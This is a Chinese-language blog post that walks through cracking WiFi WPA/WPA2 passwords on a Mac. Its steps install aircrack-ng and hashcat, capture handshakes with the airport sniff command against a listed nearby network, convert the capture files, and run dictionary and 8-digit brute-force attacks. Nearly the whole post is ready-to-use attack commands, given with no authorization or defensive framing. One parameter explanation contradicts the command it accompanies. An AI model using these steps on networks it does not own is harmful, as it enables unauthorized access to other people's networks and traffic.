Mac上跑wifi密码方法

末蓝、 2022-05-29 06:41 628阅读 0赞

**一. 安装MacPorts**

官网: [https://www.macports.org/install.php][https_www.macports.org_install.php]

前提: 本地已安装Xcode

1. 下载macOS High Sierra v10.13安装包  
     [https://github.com/macports/macports-base/releases/download/v2.4.2/MacPorts-2.4.2-10.13-HighSierra.pkg][https_github.com_macports_macports-base_releases_download_v2.4.2_MacPorts-2.4.2-10.13-HighSierra.pkg]  
2. 双击.pkg文件进行安装  
3. sudo port install aircrack-ng  
4. (option)为使用方便,将airport添加到PATH路径下(.bash\_profile)

**二. 安装hashcat**

官网: [https://hashcat.net/hashcat/][https_hashcat.net_hashcat]

Github网址: [https://github.com/hashcat/hashcat][https_github.com_hashcat_hashcat]

1. 下载源码

git clone https://github.com/hashcat/hashcat.git

2. 编译安装  
$ cd hashcat  
$ sudo make   
$ sudo make install  
3. 检查是否安装成功  
$ hashcat -V

输出: v4.1.0-7-gf6cfcbbc

**三. 安装hashcat-utils**

网站: [https://hashcat.net/wiki/doku.php?id=hashcat\_utils\#cap2hccapx][https_hashcat.net_wiki_doku.php_id_hashcat_utils_cap2hccapx]  
下载页面: [https://github.com/hashcat/hashcat-utils/releases/][https_github.com_hashcat_hashcat-utils_releases]  
  
1. 解压zip包  
2. cd到src目录下/Applications/Coding/hashcat-utils-1.8/src  
3. sudo build  
4. (option)为使用方便,将其配置到PATH目录下(.bash\_profile)  
  
**抓包步骤**:

1. airport -s

MERCURY_304 d8:15:0d:ef:a1:f0 -82  11,-1   Y  -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES)

2. sudo airport en0 sniff 6

3. ls -lh /tmp/\*.cap

**格式转换**:

1. 旧版本  
将.cap文件转为.hccap格式  
aircrack-ng airportSniffhLSNU6.cap -J out.hccap  
  
2. 新版本:  
将网络抓取文件(.cap 或 .pcap)转换为 .hccapx 格式  
$ ./cap2hccapx.bin /tmp/airportSniffhLSNU6.cap /tmp/output.hccapx TP\_LINK

**破解步骤:**  
1. 使用aircrack-ng破解(慢!!)  
$ sudo aircrack-ng -w /Users/nb/Downloads/password.txt -b d8:15:0d:ef:a1:f0 /tmp/airportSniffhLSNU6.cap  
  
2. 使用hashcat破解(快!!!)  
(旧版本hccap格式)$ hashcat -m 2500 /tmp/out.hccap .hccap /Users/nb/Downloads/password.txt  
(新版本hccapx格式)$ hashcat -m 2500 /tmp/output .hccapx /Users/nb/Downloads/password.txt  
解释:   
第一个参数： -m 2500为破解的模式为WPA/PSK方式  
第二个参数： hccapx格式的文件是刚刚转化好的文件  
第三个参数： password.txt为字典文件  
  
**8位全数字例子**:  
$ hashcat -m 2500 -a 3 handshake.hccap ?d?d?d?d?d?d?d?d  
解释:  
参数: -a 3：设置攻击模式，“模式3”代表暴力破解  
参数: -m 0：设置待破解数据的哈希类型，“0”即为MD5  
  
  
**参考文章**:  
1.  [http://www.cnblogs.com/diligenceday/p/6359661.html][http_www.cnblogs.com_diligenceday_p_6359661.html]  
2. [http://topspeedsnail.com/macbook-crack-wifi-with-wpa-wpa2/][http_topspeedsnail.com_macbook-crack-wifi-with-wpa-wpa2]  
  
**TO READ**:  
1. Cracking WPA/WPA2 with hashcat  
 [https://hashcat.net/wiki/doku.php?id=cracking\_wpawpa2][https_hashcat.net_wiki_doku.php_id_cracking_wpawpa2]  
2. hcxtools  
 [https://github.com/ZerBea/hcxtools][https_github.com_ZerBea_hcxtools]  
3. [https://klionsec.github.io/2015/04/14/aircrack-hascat/\#menu][https_klionsec.github.io_2015_04_14_aircrack-hascat_menu]

[https_www.macports.org_install.php]: https://www.macports.org/install.php
[https_github.com_macports_macports-base_releases_download_v2.4.2_MacPorts-2.4.2-10.13-HighSierra.pkg]: https://github.com/macports/macports-base/releases/download/v2.4.2/MacPorts-2.4.2-10.13-HighSierra.pkg
[https_hashcat.net_hashcat]: https://hashcat.net/hashcat/
[https_github.com_hashcat_hashcat]: https://github.com/hashcat/hashcat
[https_hashcat.net_wiki_doku.php_id_hashcat_utils_cap2hccapx]: https://hashcat.net/wiki/doku.php?id=hashcat_utils#cap2hccapx
[https_github.com_hashcat_hashcat-utils_releases]: https://github.com/hashcat/hashcat-utils/releases/
[http_www.cnblogs.com_diligenceday_p_6359661.html]: http://www.cnblogs.com/diligenceday/p/6359661.html
[http_topspeedsnail.com_macbook-crack-wifi-with-wpa-wpa2]: http://topspeedsnail.com/macbook-crack-wifi-with-wpa-wpa2/
[https_hashcat.net_wiki_doku.php_id_cracking_wpawpa2]: https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2
[https_github.com_ZerBea_hcxtools]: https://github.com/ZerBea/hcxtools
[https_klionsec.github.io_2015_04_14_aircrack-hascat_menu]: https://klionsec.github.io/2015/04/14/aircrack-hascat/#menu